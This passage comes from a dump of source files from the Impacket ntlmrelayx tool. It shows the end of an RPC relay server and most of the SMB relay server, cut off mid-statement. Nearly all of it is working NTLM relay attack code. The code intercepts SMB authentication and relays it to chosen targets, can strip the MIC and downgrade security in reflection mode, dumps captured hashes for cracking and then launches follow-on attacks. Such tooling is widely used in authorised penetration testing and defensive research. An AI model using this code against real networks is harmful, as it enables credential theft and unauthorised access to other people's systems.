ntlm.NTLMSSP_NEGOTIATE_UNICODE:\n                self.auth_user = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),\n                                             authenticateMessage['user_name'].decode('utf-16le'))).upper()\n            else:\n                self.auth_user = ('%s/%s' % (authenticateMessage['domain_name'].decode('ascii'),\n                                             authenticateMessage['user_name'].decode('ascii'))).upper()\n\n            clientResponse, errorCode = self.client.sendAuth(token, self.challengeMessage['challenge'])\n\n            # Raise exception on bad clientResponse?\n            if errorCode != STATUS_SUCCESS:\n                if errorCode in ERROR_MESSAGES.keys():\n                    raise Exception(\"NTLM authentication failure, got errorCode %s: %s\" % (errorCode, ERROR_MESSAGES[errorCode]))\n                else:\n                    raise Exception(\"NTLM authentication failure, got unknown errorCode %s\" % errorCode)\n\n\n        def do_attack(self):\n            # Check if SOCKS is enabled and if we support the target scheme\n            if self.server.config.runSocks and self.target.scheme.upper() in self.server.config.socksServer.supportedSchemes:\n                # Pass all the data to the socksplugins proxy\n                activeConnections.put((self.target.hostname, self.client.targetPort, self.target.scheme.upper(),\n                                       self.auth_user, self.client, self.client.sessionData))\n                return\n\n            # If SOCKS is not enabled, or not supported for this scheme, fall back to \"classic\" attacks\n            if self.target.scheme.upper() in self.server.config.attacks:\n                # We have an attack.. go for it\n                clientThread = self.server.config.attacks[self.target.scheme.upper()](self.server.config,\n                                                                                      self.client.session,\n                                                                                      self.auth_user,\n                                                                                      self.target,\n                                                                                      self.client)\n                clientThread.start()\n            else:\n                LOG.error('(RPC): No attack configured for %s' % self.target.scheme.upper())\n\n    def __init__(self, config):\n        Thread.__init__(self)\n        self.daemon = True\n        self.config = config\n        self.server = None\n\n    def run(self):\n        LOG.info(\"Setting up RPC Server on port %d\"%self.config.listeningPort)\n\n        self.server = self.RPCSocketServer((self.config.interfaceIp, self.config.listeningPort), self.RPCHandler,\n                                           self.config)\n\n        try:\n            self.server.serve_forever()\n        except KeyboardInterrupt:\n            pass\n        LOG.info('Shutting down RPC Server')\n        self.server.server_close()\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/servers/smbrelayserver.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   SMB Relay Server\n#\n#   This is the SMB server which relays the connections\n#   to other protocols\n#\n# Authors:\n#   Alberto Solino (@agsolino)\n#   Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)\n#\nfrom __future__ import division\nfrom __future__ import print_function\nfrom threading import Thread\ntry:\n    import ConfigParser\nexcept ImportError:\n    import configparser as ConfigParser\nimport struct\nimport logging\nimport time\nimport calendar\nimport random\nimport string\nimport socket\nimport ntpath\n\nfrom binascii import hexlify, unhexlify\nfrom six import b\nfrom impacket import smb, ntlm, LOG, smb3\nfrom impacket.nt_errors import STATUS_MORE_PROCESSING_REQUIRED, STATUS_ACCESS_DENIED, STATUS_SUCCESS, STATUS_NETWORK_SESSION_EXPIRED, STATUS_BAD_NETWORK_NAME\nfrom impacket.spnego import SPNEGO_NegTokenResp, SPNEGO_NegTokenInit, TypesMech\nfrom impacket.smbserver import SMBSERVER, outputToJohnFormat, writeJohnOutputToFile\nfrom impacket.spnego import ASN1_AID, MechTypes, ASN1_SUPPORTED_MECH\nfrom impacket.examples.ntlmrelayx.servers.socksserver import activeConnections\nfrom impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor\nfrom impacket.smbserver import decodeSMBString, encodeSMBString\nfrom impacket.smb3structs import SMB2Error\n\ndef auth_callback(smbServer, connData, domain_name, user_name, host_name):\n    user = user_name\n    if domain_name:\n        user = domain_name + \"/\" + user_name\n    if not user:\n        user = \"unknown\"\n\n    LOG.info(f\"(SMB): Received connection from {user} at {host_name}, connection will be relayed after re-authentication\")\n\n\nclass SMBRelayServer(Thread):\n    def __init__(self,config):\n        Thread.__init__(self)\n        self.daemon = True\n        self.server = 0\n        #Config object\n        self.config = config\n        #Current target IP\n        self.target = None\n        #Targets handler\n        self.targetprocessor = self.config.target\n        #Username we auth as gets stored here later\n        self.authUser = None\n        self.proxyTranslator = None\n\n\n        # Here we write a mini config for the server\n        smbConfig = ConfigParser.ConfigParser()\n        smbConfig.add_section('global')\n        smbConfig.set('global','server_name','server_name')\n        smbConfig.set('global','server_os','UNIX')\n        smbConfig.set('global','server_domain','WORKGROUP')\n        smbConfig.set('global','log_file','None')\n        smbConfig.set('global','credentials_file','')\n\n        if self.config.smb2support is True:\n            smbConfig.set(\"global\", \"SMB2Support\", \"True\")\n        else:\n            smbConfig.set(\"global\", \"SMB2Support\", \"False\")\n\n        smbConfig.set(\"global\", \"anonymous_logon\", \"False\")\n\n        if self.config.outputFile is not None:\n            smbConfig.set('global','jtr_dump_path',self.config.outputFile)\n\n        if self.config.dumpHashes is True:\n            smbConfig.set(\"global\", \"dump_hashes\", \"True\")\n        else:\n            smbConfig.set(\"global\", \"dump_hashes\", \"False\")\n        \n        if self.config.SMBServerChallenge is not None:\n            smbConfig.set('global', 'challenge', self.config.SMBServerChallenge)\n\n        # IPC always needed\n        smbConfig.add_section('IPC$')\n        smbConfig.set('IPC$','comment','')\n        smbConfig.set('IPC$','read only','yes')\n        smbConfig.set('IPC$','share type','3')\n        smbConfig.set('IPC$','path','')\n\n        # changed to dereference configuration interfaceIp\n        if self.config.listeningPort:\n            smbport = self.config.listeningPort\n        else:\n            smbport = 445\n\n        self.server = SMBSERVER((config.interfaceIp,smbport), config_parser=smbConfig, ipv6=self.config.ipv6)\n        if not self.config.disableMulti:\n            self.server.setAuthCallback(auth_callback)\n        logging.getLogger('impacket.smbserver').setLevel(logging.CRITICAL)\n\n        self.server.processConfigFile()\n\n        self.origSmbComNegotiate = self.server.hookSmbCommand(smb.SMB.SMB_COM_NEGOTIATE, self.SmbComNegotiate)\n        self.origSmbSessionSetupAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX, self.SmbSessionSetupAndX)\n        self.origsmbComTreeConnectAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX)\n\n        self.origSmbNegotiate = self.server.hookSmb2Command(smb3.SMB2_NEGOTIATE, self.SmbNegotiate)\n        self.origSmbSessionSetup = self.server.hookSmb2Command(smb3.SMB2_SESSION_SETUP, self.SmbSessionSetup)\n        self.origsmb2TreeConnect = self.server.hookSmb2Command(smb3.SMB2_TREE_CONNECT, self.smb2TreeConnect)\n        # Let's use the SMBServer Connection dictionary to keep track of our client connections as well\n        #TODO: See if this is the best way to accomplish this\n\n        # changed to dereference configuration interfaceIp\n        self.server.addConnection('SMBRelay', config.interfaceIp, 445)\n\n    ### SMBv2 Part #################################################################\n    def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False):\n        connData = smbServer.getConnectionData(connId, checkStatus=False)\n\n        respPacket = smb3.SMB2Packet()\n        respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR\n        respPacket['Status'] = STATUS_SUCCESS\n        respPacket['CreditRequestResponse'] = 1\n        respPacket['Command'] = smb3.SMB2_NEGOTIATE\n        respPacket['SessionID'] = 0\n\n        if self.config.disableMulti:\n            if self.config.mode.upper() == 'REFLECTION':\n                self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP'])\n\n            self.target = self.targetprocessor.getTarget(multiRelay=False)\n            if self.target is None:\n                if self.config.keepRelaying:\n                    self.config.target.reloadTargets(full_reload=True)\n                    self.target = self.targetprocessor.getTarget(multiRelay=False)\n                else:\n                    LOG.info('(SMB): Connection from %s controlled, but there are no more targets left!' % connData['ClientIP'])\n                    respPacket['Status'] = STATUS_BAD_NETWORK_NAME\n                    respPacket['Data'] = SMB2Error()\n                    return None, [respPacket], STATUS_BAD_NETWORK_NAME\n\n            LOG.info(\"(SMB): Received connection from %s, attacking target %s://%s\" % (connData['ClientIP'], self.target.scheme, self.target.netloc))\n\n            try:\n                if self.config.mode.upper() == 'REFLECTION':\n                    # Force standard security when doing reflection\n                    LOG.debug(\"(SMB): Downgrading to standard security\")\n                    extSec = False\n                    #recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)\n                else:\n                    extSec = True\n                # Init the correct client for our target\n                client = self.init_client(extSec)\n            except Exception as e:\n                LOG.error(\"(SMB): Connection against target %s://%s FAILED: %s\" % (self.target.scheme, self.target.netloc, str(e)))\n                self.targetprocessor.registerTarget(self.target, False, self.authUser)\n            else:\n                connData['SMBClient'] = client\n                connData['EncryptionKey'] = client.getStandardSecurityChallenge()\n                smbServer.setConnectionData(connId, connData)\n\n        if isSMB1 is False:\n            respPacket['MessageID'] = recvPacket['MessageID']\n        else:\n            respPacket['MessageID'] = 0\n\n        respPacket['TreeID'] = 0\n\n        respSMBCommand = smb3.SMB2Negotiate_Response()\n\n        # Just for the Nego Packet, then disable it\n        respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED\n\n        if isSMB1 is True:\n            # Let's first parse the packet to see if the client supports SMB2\n            SMBCommand = smb.SMBCommand(recvPacket['Data'][0])\n\n            dialects = SMBCommand['Data'].split(b'\\x02')\n            if b'SMB 2.002\\x00' in dialects or b'SMB 2.???\\x00' in dialects:\n                respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002\n                #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21\n            else:\n                # Client does not support SMB2 fallbacking\n                raise Exception('Client does not support SMB2, fallbacking')\n        else:\n            respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002\n            #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21\n\n        respSMBCommand['ServerGuid'] = b(''.join([random.choice(string.ascii_letters) for _ in range(16)]))\n        respSMBCommand['Capabilities'] = 0\n        respSMBCommand['MaxTransactSize'] = 65536\n        respSMBCommand['MaxReadSize'] = 65536\n        respSMBCommand['MaxWriteSize'] = 65536\n        respSMBCommand['SystemTime'] = smb.POSIXtoFT(calendar.timegm(time.gmtime()))\n        respSMBCommand['ServerStartTime'] = smb.POSIXtoFT(calendar.timegm(time.gmtime()))\n        respSMBCommand['SecurityBufferOffset'] = 0x80\n\n        blob = SPNEGO_NegTokenInit()\n        blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]\n\n\n        respSMBCommand['Buffer'] = blob.getData()\n        respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer'])\n\n        respPacket['Data'] = respSMBCommand\n\n        smbServer.setConnectionData(connId, connData)\n\n        return None, [respPacket], STATUS_SUCCESS\n\n\n    def SmbSessionSetup(self, connId, smbServer, recvPacket):\n        connData = smbServer.getConnectionData(connId, checkStatus = False)\n\n        #############################################################\n        # SMBRelay\n        # Are we ready to relay or should we just do local auth?\n        if not self.config.disableMulti and 'relayToHost' not in connData:\n            # Just call the original SessionSetup\n            respCommands, respPackets, errorCode = self.origSmbSessionSetup(connId, smbServer, recvPacket)\n            # We remove the Guest flag\n            if 'SessionFlags' in respCommands[0].fields:\n                respCommands[0]['SessionFlags'] = 0x00\n            return respCommands, respPackets, errorCode\n\n        # We have confirmed we want to relay to the target host.\n        respSMBCommand = smb3.SMB2SessionSetup_Response()\n        sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data'])\n\n        connData['Capabilities'] = sessionSetupData['Capabilities']\n\n        securityBlob = sessionSetupData['Buffer']\n\n        rawNTLM = False\n        if struct.unpack('B',securityBlob[0:1])[0] == ASN1_AID:\n           # NEGOTIATE packet\n           blob =  SPNEGO_NegTokenInit(securityBlob)\n           token = blob['MechToken']\n           if len(blob['MechTypes'][0]) > 0:\n               # Is this GSSAPI NTLM or something else we don't support?\n               mechType = blob['MechTypes'][0]\n               if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']:\n                   # Nope, do we know it?\n                   if mechType in MechTypes:\n                       mechStr = MechTypes[mechType]\n                   else:\n                       mechStr = hexlify(mechType)\n                   smbServer.log(\"Unsupported MechType '%s'\" % mechStr, logging.DEBUG)\n                   # We don't know the token, we answer back again saying\n                   # we just support NTLM.\n                   respToken = SPNEGO_NegTokenResp()\n                   respToken['NegState'] = b'\\x03'  # request-mic\n                   respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']\n                   respToken = respToken.getData()\n                   respSMBCommand['SecurityBufferOffset'] = 0x48\n                   respSMBCommand['SecurityBufferLength'] = len(respToken)\n                   respSMBCommand['Buffer'] = respToken\n\n                   return [respSMBCommand], None, STATUS_MORE_PROCESSING_REQUIRED\n        elif struct.unpack('B',securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH:\n           # AUTH packet\n           blob = SPNEGO_NegTokenResp(securityBlob)\n           token = blob['ResponseToken']\n        else:\n           # No GSSAPI stuff, raw NTLMSSP\n           rawNTLM = True\n           token = securityBlob\n\n        # Here we only handle NTLMSSP, depending on what stage of the\n        # authentication we are, we act on it\n        messageType = struct.unpack('<L',token[len('NTLMSSP\\x00'):len('NTLMSSP\\x00')+4])[0]\n\n        if messageType == 0x01:\n            # NEGOTIATE_MESSAGE\n            negotiateMessage = ntlm.NTLMAuthNegotiate()\n            negotiateMessage.fromString(token)\n            # Let's store it in the connection data\n            connData['NEGOTIATE_MESSAGE'] = negotiateMessage\n\n            #############################################################\n            # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.\n            # Let's send it to the target server and send the answer back to the client.\n            client = connData['SMBClient']\n            try:\n                challengeMessage = self.do_ntlm_negotiate(client, token)\n            except Exception as e:\n                LOG.debug(\"(SMB): Exception:\", exc_info=True)\n                # Log this target as processed for this client\n                self.targetprocessor.registerTarget(self.target, False, self.authUser)\n                # Raise exception again to pass it on to the SMB server\n                raise\n\n             #############################################################\n\n            if rawNTLM is False:\n                respToken = SPNEGO_NegTokenResp()\n                # accept-incomplete. We want more data\n                respToken['NegState'] = b'\\x01'\n                respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']\n\n                respToken['ResponseToken'] = challengeMessage.getData()\n            else:\n                respToken = challengeMessage\n\n            # Setting the packet to STATUS_MORE_PROCESSING\n            errorCode = STATUS_MORE_PROCESSING_REQUIRED\n            # Let's set up an UID for this connection and store it\n            # in the connection's data\n            connData['Uid'] = random.randint(1,0xffffffff)\n\n            connData['CHALLENGE_MESSAGE'] = challengeMessage\n\n        elif messageType == 0x02:\n            # CHALLENGE_MESSAGE\n            raise Exception('Challenge Message raise, not implemented!')\n\n        elif messageType == 0x03:\n            # AUTHENTICATE_MESSAGE, here we deal with authentication\n            #############################################################\n            # SMBRelay: Ok, so now the have the Auth token, let's send it\n            # back to the target system and hope for the best.\n            client = connData['SMBClient']\n            authenticateMessage = ntlm.NTLMAuthChallengeResponse()\n            authenticateMessage.fromString(token)\n            self.authUser = authenticateMessage.getUserString()\n\n            if rawNTLM is True:\n                respToken2 = SPNEGO_NegTokenResp()\n                respToken2['ResponseToken'] = securityBlob\n                securityBlob = respToken2.getData()\n\n            if self.config.remove_mic:\n                clientResponse, errorCode = self.do_ntlm_auth(client, token,\n                                                              connData['CHALLENGE_MESSAGE']['challenge'])\n            else:\n                clientResponse, errorCode = self.do_ntlm_auth(client, securityBlob,\n                                                              connData['CHALLENGE_MESSAGE']['challenge'])\n\n            if errorCode != STATUS_SUCCESS:\n                #Log this target as processed for this client\n                LOG.error(\"(SMB): Authenticating against %s://%s as %s FAILED\" % (self.target.scheme, self.target.netloc, self.authUser))\n                self.targetprocessor.registerTarget(self.target, False, self.authUser)\n                client.killConnection()\n            else:\n                # We have a session, create a thread and do whatever we want\n                client.setClientId()\n                LOG.info(\"(SMB): Authenticating connection from %s@%s against %s://%s SUCCEED [%s]\" % (self.authUser, connData['ClientIP'], self.target.scheme, self.target.netloc, client.client_id))\n                # Log this target as processed for this client\n\n                if not self.config.isADCSAttack:\n                    self.targetprocessor.registerTarget(self.target, True, self.authUser)\n\n                ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'],\n                                                    authenticateMessage['user_name'],\n                                                    authenticateMessage['domain_name'], authenticateMessage['lanman'],\n                                                    authenticateMessage['ntlm'])\n                client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data\n\n                if self.server.getDumpHashes():\n                    LOG.info(\"(SMB): %s\" % ntlm_hash_data['hash_string'])\n\n                if self.server.getJTRdumpPath() != '':\n                    writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],\n                                          self.server.getJTRdumpPath())\n\n                connData['Authenticated'] = True\n                if not self.config.disableMulti:\n                    del(connData['relayToHost'])\n                self.do_attack(client)\n                # Now continue with the server\n            #############################################################\n\n            if rawNTLM is False:\n                respToken = SPNEGO_NegTokenResp()\n                # accept-completed\n                respToken['NegState'] = b'\\x00'\n            else:\n                respToken = ''\n            # Let's store it in the connection data\n            connData['AUTHENTICATE_MESSAGE'] = authenticateMessage\n        else:\n            raise Exception(\"Unknown NTLMSSP MessageType %d\" % messageType)\n\n        respSMBCommand['SecurityBufferOffset'] = 0x48\n        respSMBCommand['SecurityBufferLength'] = len(respToken)\n        if respSMBCommand['SecurityBufferLength'] > 0:\n            respSMBCommand['Buffer'] = respToken.getData()\n        else:\n            respSMBCommand['Buffer'] = ''\n\n        smbServer.setConnectionData(connId, connData)\n\n        return [respSMBCommand], None, errorCode\n\n    def smb2TreeConnect(self, connId, smbServer, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n        authenticateMessage = connData['AUTHENTICATE_MESSAGE']\n        self.authUser = authenticateMessage.getUserString()\n\n        if self.config.disableMulti:\n            return self.origsmb2TreeConnect(connId, smbServer, recvPacket)\n        # Uncommenting this will stop at the first connection relayed and won't relaying until all targets\n        # are processed. There might be a use case for this\n        #if 'relayToHost' in connData:\n        #    # Connection already relayed, let's just answer the request (that will return object not found)\n        #    return self.origsmb2TreeConnect(connId, smbServer, recvPacket)\n\n        try:\n            if self.config.mode.upper () == 'REFLECTION':\n                self.targetprocessor = TargetsProcessor (singleTarget='SMB://%s:445/' % connData['ClientIP'])\n\n            self.target = self.targetprocessor.getTarget(identity = self.authUser)\n            if self.target is None:\n                if self.config.keepRelaying:\n                    self.config.target.reloadTargets(full_reload=True)\n                    self.target = self.targetprocessor.getTarget(multiRelay=False)\n                else:\n                    # No more targets to process, just let the victim to fail later\n                    LOG.info('(SMB): Connection from %s@%s controlled, but there are no more targets left!' % (self.authUser, connData['ClientIP']))\n                    return self.origsmb2TreeConnect (connId, smbServer, recvPacket)\n\n            LOG.info('(SMB): Connection from %s@%s controlled, attacking target %s://%s' % (self.authUser, connData['ClientIP'], self.target.scheme, self.target.netloc))\n\n            if self.config.mode.upper() == 'REFLECTION':\n                # Force standard security when doing reflection\n                LOG.debug(\"(SMB): Downgrading to standard security\")\n                extSec = False\n                #recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)\n            else:\n                extSec = True\n            # Init the correct client for our target\n            client = self.init_client(extSec)\n        except Exception as e:\n            LOG.error(\"(SMB): Connection against target %s://%s FAILED: %s\" % (self.target.scheme, self.target.netloc, str(e)))\n            self.targetprocessor.registerTarget(self.target, False, self.authUser)\n        else:\n            connData['relayToHost'] = True\n            connData['Authenticated'] = False\n            del (connData['NEGOTIATE_MESSAGE'])\n            del (connData['CHALLENGE_MESSAGE'])\n            del (connData['AUTHENTICATE_MESSAGE'])\n            connData['SMBClient'] = client\n            connData['EncryptionKey'] = client.getStandardSecurityChallenge()\n            smbServer.setConnectionData(connId, connData)\n\n        respPacket = smb3.SMB2Packet()\n        respPacket['Flags']     = smb3.SMB2_FLAGS_SERVER_TO_REDIR\n        respPacket['Status']    = STATUS_SUCCESS\n        respPacket['CreditRequestResponse'] = 1\n        respPacket['Command']   = recvPacket['Command']\n        respPacket['SessionID'] = connData['Uid']\n        respPacket['Reserved']  = recvPacket['Reserved']\n        respPacket['MessageID'] = recvPacket['MessageID']\n        respPacket['TreeID']    = recvPacket['TreeID']\n\n        respSMBCommand        = smb3.SMB2TreeConnect_Response()\n\n        # This is the key, force the client to reconnect.\n        # It will loop until all targets are processed for this user\n        errorCode = STATUS_NETWORK_SESSION_EXPIRED\n\n\n        respPacket['Status'] = errorCode\n        respSMBCommand['Capabilities'] = 0\n        respSMBCommand['MaximalAccess'] = 0x000f01ff\n\n        respPacket['Data'] = respSMBCommand\n\n        # Sign the packet if needed\n        if connData['SignatureEnabled']:\n            smbServer.signSMBv2(respPacket, connData['SigningSessionKey'])\n\n        smbServer.setConnectionData(connId, connData)\n\n        return None, [respPacket], errorCode\n\n    ################################################################################\n\n    ### SMBv1 Part #################################################################\n    def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket):\n        connData = smbServer.getConnectionData(connId, checkStatus = False)\n\n        if self.config.disableMulti:\n            if self.config.mode.upper() == 'REFLECTION':\n                self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP'])\n\n            self.target = self.targetprocessor.getTarget(multiRelay=False)\n            if self.target is None:\n                if self.config.keepRelaying:\n                    self.config.target.reloadTargets(full_reload=True)\n                    self.target = self.targetprocessor.getTarget(multiRelay=False)\n                else:\n                    LOG.info('(SMB): Connection from %s controlled, but there are no more targets left!' % connData['ClientIP'])\n                    return [smb.SMBCommand(smb.SMB.SMB_COM_NEGOTIATE)], None, STATUS_BAD_NETWORK_NAME\n\n            LOG.info(\"(SMB): Received connection from %s, attacking target %s://%s\" % (connData['ClientIP'], self.target.scheme, self.target.netloc))\n\n            try:\n                if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY == 0:\n                    extSec = False\n                else:\n                    if self.config.mode.upper() == 'REFLECTION':\n                        # Force standard security when doing reflection\n                        LOG.debug(\"(SMB): Downgrading to standard security\")\n                        extSec = False\n                        recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)\n                    else:\n                        extSec = True\n\n                # Init the correct client for our target\n                client = self.init_client(extSec)\n            except Exception as e:\n                LOG.error(\"(SMB): Connection against target %s://%s FAILED: %s\" % (self.target.scheme, self.target.netloc, str(e)))\n                self.targetprocessor.registerTarget(self.target, False, self.authUser)\n            else:\n                connData['SMBClient'] = client\n                connData['EncryptionKey'] = client.getStandardSecurityChallenge()\n                smbServer.setConnectionData(connId, connData)\n\n        else:\n            if (recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY) != 0:\n                if self.config.mode.upper() == 'REFLECTION':\n                    # Force standard security when doing reflection\n                    LOG.debug(\"(SMB): Downgrading to standard security\")\n                    recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)\n\n        return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket)\n        #############################################################\n\n    def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket):\n\n        connData = smbServer.getConnectionData(connId, checkStatus = False)\n\n        #############################################################\n        # SMBRelay\n        # Are we ready to relay or should we just do local auth?\n        if not self.config.disableMulti and 'relayToHost' not in connData:\n            # Just call the original SessionSetup\n            return self.origSmbSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket)\n        # We have confirmed we want to relay to the target host.\n        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)\n\n        if connData['_dialects_parameters']['Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY:\n            # Extended security. Here we deal with all SPNEGO stuff\n            respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters()\n            respData       = smb.SMBSessionSetupAndX_Extended_Response_Data()\n            sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters'])\n            sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()\n            sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength']\n            sessionSetupData.fromString(SMBCommand['Data'])\n            connData['Capabilities'] = sessionSetupParameters['Capabilities']\n\n            rawNTLM = False\n            if struct.unpack('B',sessionSetupData['SecurityBlob'][0:1])[0] != ASN1_AID:\n               # If there no GSSAPI ID, it must be an AUTH packet\n               blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])\n               token = blob['ResponseToken']\n            else:\n               # NEGOTIATE packet\n               blob =  SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])\n               token = blob['MechToken']\n\n            # Here we only handle NTLMSSP, depending on what stage of the\n            # authentication we are, we act on it\n            messageType = struct.unpack('<L',token[len('NTLMSSP\\x00'):len('NTLMSSP\\x00')+4])[0]\n\n            if messageType == 0x01:\n                # NEGOTIATE_MESSAGE\n                negotiateMessage = ntlm.NTLMAuthNegotiate()\n                negotiateMessage.fromString(token)\n                # Let's store it in the connection data\n                connData['NEGOTIATE_MESSAGE'] = negotiateMessage\n\n                #############################################################\n                # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.\n                # Let's send it to the target server and send the answer back to the client.\n                client = connData['SMBClient']\n                try:\n                    challengeMessage = self.do_ntlm_negotiate(client,token)\n                except Exception:\n                    # Log this target as processed for this client\n                    self.targetprocessor.registerTarget(self.target, False, self.authUser)\n                    # Raise exception again to pass it on to the SMB server\n                    raise\n\n                #############################################################\n\n                respToken = SPNEGO_NegTokenResp()\n                # accept-incomplete. We want more data\n                respToken['NegState'] = b'\\x01'\n                respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']\n                respToken['ResponseToken'] = challengeMessage.getData()\n\n                # Setting the packet to STATUS_MORE_PROCESSING\n                errorCode = STATUS_MORE_PROCESSING_REQUIRED\n\n                # Let's set up an UID for this connection and store it\n                # in the connection's data\n                # Picking a fixed value\n                # TODO: Manage more UIDs for the same session\n                connData['Uid'] = 10\n\n                connData['CHALLENGE_MESSAGE'] = challengeMessage\n\n            elif messageType == 0x03:\n                # AUTHENTICATE_MESSAGE, here we deal with authentication\n                #############################################################\n                # SMBRelay: Ok, so now the have the Auth token, let's send it\n                # back to the target system and hope for the best.\n                client = connData['SMBClient']\n                authenticateMessage = ntlm.NTLMAuthChallengeResponse()\n                authenticateMessage.fromString(token)\n                self.authUser = authenticateMessage.getUserString()\n\n                clientResponse, errorCode = self.do_ntlm_auth(client,sessionSetupData['SecurityBlob'],\n                                                              connData['CHALLENGE_MESSAGE']['challenge'])\n\n                if errorCode != STATUS_SUCCESS:\n                    # Let's return what the target returned, hope the client connects back again\n                    packet = smb.NewSMBPacket()\n                    packet['Flags1']  = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS\n                    packet['Flags2']  = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY\n                    packet['Command'] = recvPacket['Command']\n                    packet['Pid']     = recvPacket['Pid']\n                    packet['Tid']     = recvPacket['Tid']\n                    packet['Mid']     = recvPacket['Mid']\n                    packet['Uid']     = recvPacket['Uid']\n                    packet['Data']    = b'\\x00\\x00\\x00'\n                    packet['ErrorCode']   = errorCode >> 16\n                    packet['ErrorClass']  = errorCode & 0xff\n\n                    LOG.error(\"(SMB): Authenticating against %s://%s as %s FAILED\" % (self.target.scheme, self.target.netloc, self.authUser))\n\n                    #Log this target as processed for this client\n                    self.targetprocessor.registerTarget(self.target, False, self.authUser)\n\n                    client.killConnection()\n\n                    return None, [packet], errorCode\n                else:\n                    # We have a session, create a thread and do whatever we want\n                    client.setClientId()\n                    LOG.info(\"(SMB): Authenticating connection from %s@%s against %s://%s SUCCEED [%s]\" % (self.authUser, connData['ClientIP'], self.target.scheme, self.target.netloc, client.client_id))\n\n                    # Log this target as processed for this client\n                    self.targetprocessor.registerTarget(self.target, True, self.authUser)\n\n                    ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'],\n                                                        authenticateMessage['user_name'],\n                                                        authenticateMessage['domain_name'],\n                                                        authenticateMessage['lanman'], authenticateMessage['ntlm'])\n                    client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data\n\n                    if self.server.getDumpHashes():\n                        LOG.info(\"(SMB): %s\" % ntlm_hash_data['hash_string'])\n\n                    if self.server.getJTRdumpPath() != '':\n                        writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],\n                                              self.server.getJTRdumpPath())\n\n                    self.do_attack(client)\n                    # Now continue with the server\n                #############################################################\n\n                respToken = SPNEGO_NegTokenResp()\n                # accept-completed\n                respToken['NegState'] = b'\\x00'\n\n                # Done with the relay for now.\n                connData['Authenticated'] = True\n                del(connData['relayToHost'])\n\n                # Status SUCCESS\n                errorCode = STATUS_SUCCESS\n                # Let's store it in the connection data\n                connData['AUTHENTICATE_MESSAGE'] = authenticateMessage\n            else:\n                raise Exception(\"Unknown NTLMSSP MessageType %d\" % messageType)\n\n            respParameters['SecurityBlobLength'] = len(respToken)\n\n            respData['SecurityBlobLength'] = respParameters['SecurityBlobLength']\n            respData['SecurityBlob']       = respToken.getData()\n\n        else:\n            # Process Standard Security\n            #TODO: Fix this for other protocols than SMB [!]\n            respParameters = smb.SMBSessionSetupAndXResponse_Parameters()\n            respData       = smb.SMBSessionSetupAndXResponse_Data()\n            sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters'])\n            sessionSetupData = smb.SMBSessionSetupAndX_Data()\n            sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength']\n            sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength']\n            sessionSetupData.fromString(SMBCommand['Data'])\n\n            client = 